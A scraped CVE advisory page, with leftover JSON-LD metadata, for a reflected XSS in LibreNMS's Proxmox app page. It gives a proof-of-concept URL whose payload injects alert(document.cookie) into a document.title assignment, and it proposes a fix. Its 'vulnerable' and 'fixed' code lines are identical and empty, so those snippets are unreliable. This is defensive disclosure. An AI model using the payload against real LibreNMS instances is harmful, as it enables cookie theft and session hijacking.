VYPR
\";\n\n// proxmox.inc.php:38,42\n$pagetitle[] = $instance; // GET ?instance=\n$pagetitle[] = $vars['vmid']; // GET ?vmid=\n```\n\n### PoC\n```\nhttp://target/apps?app=proxmox&instance=%27%3Balert%28document.cookie%29%3B//\n\nConfirmed in response:\ndocument.title = 'Apps - Proxmox - ';alert(document.cookie);// - LibreNMS';\n```\n\n### Fix\n```php\n// LegacyController.php:75\n$html .= \"\";\n```\nAlso wrap `$instance` and `$vars['vmid']` in `htmlspecialchars()` in proxmox.inc.php.\n\n### Prerequisite\nAny authenticated session. Victim must follow a crafted link.","additionalType":"https://schema.org/SoftwareApplication","sameAs":["https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45694"]},"keywords":"CVE-2026-45694, medium, CWE-79, Librenms Librenms","mentions":[{"@type":"SoftwareApplication","name":"Librenms","applicationCategory":"SecurityApplication","publisher":{"@type":"Organization","name":"Librenms"}}],"isAccessibleForFree":true},{"@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https://portal.vyprsec.ai/"},{"@type":"ListItem","position":2,"name":"CVEs","item":"https://portal.vyprsec.ai/cves"},{"@type":"ListItem","position":3,"name":"CVE-2026-45694","item":"https://portal.vyprsec.ai/cves/CVE-2026-45694"}]}]}
← All advisories
Medium severity5.4NVD Advisory· Published Aug 12, 2026· Updated Aug 12, 2026

LibreNMS: Reflected XSS via Proxmox instance/vmid GET parameters injected into document.title JavaScript assignment

CVE-2026-45694

Description

Summary

LegacyController.php:75 writes the page title into a document.title JS assignment using string interpolation. apps/proxmox.inc.php pushes $vars['instance'] and $vars['vmid'] (GET params, only strip_tags() applied) directly into $pagetitle. A single quote terminates the JS string, executing arbitrary script.

Details

// LegacyController.php:75
$html .= "";

// proxmox.inc.php:38,42
$pagetitle[] = $instance;     // GET ?instance=
$pagetitle[] = $vars['vmid']; // GET ?vmid=

PoC

http://target/apps?app=proxmox&instance=%27%3Balert%28document.cookie%29%3B//

Confirmed in response:
document.title = 'Apps - Proxmox - ';alert(document.cookie);// - LibreNMS';

Fix

// LegacyController.php:75
$html .= "";

Also wrap $instance and $vars['vmid'] in htmlspecialchars() in proxmox.inc.php.

Prerequisite

Any authenticated session. Victim must follow a crafted link.

Affected products

1

Patches

Vulnerability mechanics

References

3

News mentions

0

No linked articles in our index yet.